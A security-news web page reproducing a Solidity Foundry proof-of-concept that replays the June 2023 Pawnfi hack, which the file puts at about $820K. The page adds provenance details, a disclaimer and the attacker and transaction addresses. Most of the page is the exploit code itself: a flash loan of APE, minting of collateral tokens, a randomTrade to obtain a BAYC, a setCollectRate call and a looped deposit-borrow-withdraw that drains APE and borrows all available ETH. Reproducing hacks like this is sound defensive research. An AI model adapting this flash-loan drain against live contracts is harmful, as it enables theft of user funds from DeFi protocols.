Skip to content
THREATWIRE

Public reproduction file

src/test/2023-06/Pawnfi_exp.sol

Public reproduction file for dataset entry Pawnfi.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-06/Pawnfi_exp.sol247 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~$820K
8// Attacker : https://etherscan.io/address/0x8f7370d5d461559f24b83ba675b4c7e2fdb514cc
9// Attacker Contract : https://etherscan.io/address/0xb618d91fe014bfcb9c8d440468b6c78e9ada9da1
10// Vulnerable Contract : https://etherscan.io/address/0x85018CF6F53c8bbD03c3137E71F4FCa226cDa92C#code
11// Attack Tx : https://etherscan.io/tx/0x8d3036371ccf27579d3cb3d4b4b71e99334cae8d7e8088247517ec640c7a59a5
13// @Analysis
14// https://blog.solidityscan.com/pawnfi-hack-analysis-38ac9160cbb4
16interface ApeStakingStorage {
17 struct DepositInfo {
18 uint256[] mainTokenIds;
19 uint256[] bakcTokenIds;
20 }
22 struct StakingInfo {
23 address nftAsset;
24 uint256 cashAmount;
25 uint256 borrowAmount;
26 }
28 struct StakingConfiguration {
29 uint256 addMinStakingRate;
30 uint256 liquidateRate;
31 uint256 borrowSafeRate;
32 uint256 liquidatePawnAmount;
33 uint256 feeRate;
34 }
37interface IApeCoinStaking {
38 struct PairNft {
39 uint128 mainTokenId;
40 uint128 bakcTokenId;
41 }
43 struct SingleNft {
44 uint32 tokenId;
45 uint224 amount;
46 }
48 struct PairNftDepositWithAmount {
49 uint32 mainTokenId;
50 uint32 bakcTokenId;
51 uint184 amount;
52 }
54 struct PairNftWithdrawWithAmount {
55 uint32 mainTokenId;
56 uint32 bakcTokenId;
57 uint184 amount;
58 bool isUncommit;
59 }
61 struct TimeRange {
62 uint48 startTimestampHour;
63 uint48 endTimestampHour;
64 uint96 rewardsPerHour;
65 uint96 capPerPosition;
66 }
69interface IApeStaking {
70 function depositAndBorrowApeAndStake(
71 ApeStakingStorage.DepositInfo memory depositInfo,
72 ApeStakingStorage.StakingInfo memory stakingInfo,
73 IApeCoinStaking.SingleNft[] memory _nfts,
74 IApeCoinStaking.PairNftDepositWithAmount[] memory _nftPairs
75 ) external;
77 function withdrawApeCoin(
78 address nftAsset,
79 IApeCoinStaking.SingleNft[] memory _nfts,
80 IApeCoinStaking.PairNftWithdrawWithAmount[] memory _nftPairs
81 ) external;
83 function setCollectRate(
84 uint256 newCollectRate
85 ) external;
87 function pools(
88 uint256
89 )
90 external
91 view
92 returns (
93 uint48 lastRewardedTimestampHour,
94 uint16 lastRewardsRangeIndex,
95 uint96 stakedAmount,
96 uint96 accumulatedRewardsPerShare
97 );
99 function getTimeRangeBy(uint256 _poolId, uint256 _index) external view returns (IApeCoinStaking.TimeRange memory);
102interface IPToken is IERC20 {
103 function randomTrade(
104 uint256 nftIdCount
105 ) external returns (uint256[] memory nftIds);
108contract PawnfiTest is Test {
109 Uni_Pair_V3 private constant UniV3Pool = Uni_Pair_V3(0xAc4b3DacB91461209Ae9d41EC517c2B9Cb1B7DAF);
110 IERC20 private constant APE = IERC20(payable(0x4d224452801ACEd8B2F0aebE155379bb5D594381));
111 IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
112 ICErc20Delegate private constant sAPE = ICErc20Delegate(payable(0x73625745eD66F0d4C68C91613086ECe1Fc5a0119));
113 ICErc20Delegate private constant isAPE = ICErc20Delegate(payable(0x3B2da9304bd1308Dc0d1b2F9c3C14F4CF016a955));
114 ICErc20Delegate private constant CEther = ICErc20Delegate(payable(0x37B614714e96227D81fFffBdbDc4489e46eAce8C));
115 ICErc20Delegate private constant iPBAYC = ICErc20Delegate(payable(0x9C1c49B595D5c25F0Ccc465099E6D9d0a1E5aB37));
116 IPToken private constant PBAYC = IPToken(0x5f0A4a59C8B39CDdBCf0C683a6374655b4f5D76e);
117 IERC721 private constant BAYC = IERC721(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D);
118 ICointroller private constant Unitroller = ICointroller(0x0518b21F49548427EF0c16Ff26Ce8a05295F7454);
119 ISimplePriceOracle private constant MultipleSourceOracle =
120 ISimplePriceOracle(0x01b7234e6b24003e88b4e22d0a8d574432d3dFF6);
121 IApeStaking private constant ApeStaking1 = IApeStaking(0x0B89032E2722b103386aDCcaE18B2F5D4986aFa0);
122 IApeStaking private constant ApeStaking2 = IApeStaking(0x5954aB967Bc958940b7EB73ee84797Dc8a2AFbb9);
124 function setUp() public {
125 vm.createSelectFork("mainnet", 17_496_619);
126 vm.label(address(UniV3Pool), "UniV3Pool");
127 vm.label(address(APE), "APE");
128 vm.label(address(sAPE), "sAPE");
129 vm.label(address(isAPE), "isAPE");
130 vm.label(address(iPBAYC), "iPBAYC");
131 vm.label(address(CEther), "CEther");
132 vm.label(address(PBAYC), "PBAYC");
133 vm.label(address(BAYC), "BAYC");
134 vm.label(address(Unitroller), "Unitroller");
135 vm.label(address(MultipleSourceOracle), "MultipleSourceOracle");
136 vm.label(address(ApeStaking1), "ApeStaking1");
137 vm.label(address(ApeStaking2), "ApeStaking2");
138 }
140 function testExploit() public {
141 deal(address(this), 0);
142 // I add the following line of code only to make the poc work.
143 // Without it the output from APE.balanceOf(P-BAYC) will be 0 and the error 'ERC20: transfer amount exceeds balance' will occur
144 // In the attack tx APE balance of P-BAYC is as below. This issue occurs also with other attack txs.
145 deal(address(APE), address(PBAYC), 206_227_682_165_404_022_135_955);
147 emit log_named_decimal_uint("Attacker ETH balance before attack", address(this).balance, 18);
148 emit log_named_decimal_uint("Attacker APE balance before attack", APE.balanceOf(address(this)), APE.decimals());
149 emit log_named_decimal_uint(
150 "Attacker isAPE balance before attack", isAPE.balanceOf(address(this)), isAPE.decimals()
151 );
153 UniV3Pool.flash(address(this), 200_000 * 1e18, 0, new bytes(1));
155 emit log_named_decimal_uint("Attacker ETH balance after attack", address(this).balance, 18);
156 emit log_named_decimal_uint("Attacker APE balance after attack", APE.balanceOf(address(this)), APE.decimals());
157 emit log_named_decimal_uint(
158 "Attacker isAPE balance after attack", isAPE.balanceOf(address(this)), isAPE.decimals()
159 );
160 }
162 function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
163 APE.approve(address(sAPE), APE.balanceOf(address(this)));
164 sAPE.mint(APE.balanceOf(address(this)));
165 sAPE.approve(address(isAPE), sAPE.balanceOf(address(this)));
166 isAPE.mint(sAPE.balanceOf(address(this)));
168 address[] memory cTokens = new address[](1);
169 cTokens[0] = address(isAPE);
170 Unitroller.enterMarkets(cTokens);
172 iPBAYC.borrow(1005 * 1e18);
173 // emit log_uint(PBAYC.balanceOf(address(this)));
174 PBAYC.approve(address(PBAYC), PBAYC.balanceOf(address(this)));
175 uint256[] memory nftIds = PBAYC.randomTrade(1);
177 BAYC.setApprovalForAll(address(ApeStaking1), true);
178 ApeStaking1.setCollectRate(1e18);
180 uint256[] memory _mainTokenIds = new uint256[](1);
181 _mainTokenIds[0] = nftIds[0];
182 uint256[] memory _bakcTokenIds;
183 ApeStakingStorage.DepositInfo memory depositInfo =
184 ApeStakingStorage.DepositInfo({mainTokenIds: _mainTokenIds, bakcTokenIds: _bakcTokenIds});
185 ApeStakingStorage.StakingInfo memory stakingInfo =
186 ApeStakingStorage.StakingInfo({nftAsset: address(BAYC), cashAmount: 0, borrowAmount: 0});
187 IApeCoinStaking.SingleNft[] memory _nfts;
188 IApeCoinStaking.PairNftDepositWithAmount[] memory _nftPairs;
189 ApeStaking1.depositAndBorrowApeAndStake(depositInfo, stakingInfo, _nfts, _nftPairs);
191 borrowEth();
193 for (uint256 i; i < 20; ++i) {
194 (, uint16 lastRewardsRangeIndex,,) = ApeStaking2.pools(1);
195 IApeCoinStaking.TimeRange memory timeRange = ApeStaking2.getTimeRangeBy(1, lastRewardsRangeIndex);
197 depositBorrowWithdrawApe(timeRange.capPerPosition);
198 }
199 depositBorrowWithdrawApe(APE.balanceOf(address(PBAYC)));
200 APE.transfer(address(UniV3Pool), 200_000 * 1e18 + fee0);
201 }
203 function borrowEth() internal {
204 (, uint256 accLiquidity,) = Unitroller.getAccountLiquidity(address(this));
205 uint256 cashBalanceEth = CEther.getCash();
206 uint256 underlyingPrice = MultipleSourceOracle.getUnderlyingPrice(address(CEther));
207 uint256 liquidity = (underlyingPrice * cashBalanceEth) / 1e18;
209 if (liquidity <= accLiquidity) {
210 CEther.borrow(cashBalanceEth);
211 } else {
212 uint256 borrowAmount = (accLiquidity * 1e18) / underlyingPrice;
213 CEther.borrow(borrowAmount);
214 }
215 }
217 function depositBorrowWithdrawApe(
218 uint256 amount
219 ) internal {
220 uint256[] memory _mainTokenIds;
221 uint256[] memory _bakcTokenIds;
222 ApeStakingStorage.DepositInfo memory depositInfo =
223 ApeStakingStorage.DepositInfo({mainTokenIds: _mainTokenIds, bakcTokenIds: _bakcTokenIds});
224 ApeStakingStorage.StakingInfo memory stakingInfo =
225 ApeStakingStorage.StakingInfo({nftAsset: address(BAYC), cashAmount: 0, borrowAmount: 0});
226 IApeCoinStaking.SingleNft[] memory _nfts = new IApeCoinStaking.SingleNft[](1);
227 _nfts[0] = IApeCoinStaking.SingleNft({
228 tokenId: 9829, // nftIds[0]
229 amount: uint224(amount)
230 });
231 IApeCoinStaking.PairNftDepositWithAmount[] memory _nftPairs;
232 ApeStaking1.depositAndBorrowApeAndStake(depositInfo, stakingInfo, _nfts, _nftPairs);
233 IApeCoinStaking.PairNftWithdrawWithAmount[] memory nftPairs_;
234 ApeStaking1.withdrawApeCoin(address(BAYC), _nfts, nftPairs_);
235 }
237 function onERC721Received(
238 address operator,
239 address from,
240 uint256 tokenId,
241 bytes calldata data
242 ) external returns (bytes4) {
243 return this.onERC721Received.selector;
244 }
246 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “Pawnfi” (2023-06-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x8f7370d5d461559f24b83ba675b4c7e2fdb514cc

  • Attacker

    0xb618d91fe014bfcb9c8d440468b6c78e9ada9da1

  • Vulnerable Contract

    0x85018cf6f53c8bbd03c3137e71f4fca226cda92c

  • Attack Tx

    0x8d3036371ccf27579d3cb3d4b4b71e99334cae8d7e8088247517ec640c7a59a5

File record

Name
Pawnfi
Path
src/test/2023-06/Pawnfi_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d7726b4ec254121ecd7b65ea3caf562820ffb7d9
Language
Solidity
Size
248 lines
Date
2023-06-17
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-06/Pawnfi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d7726b4ec254121ecd7b65ea3caf562820ffb7d9, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.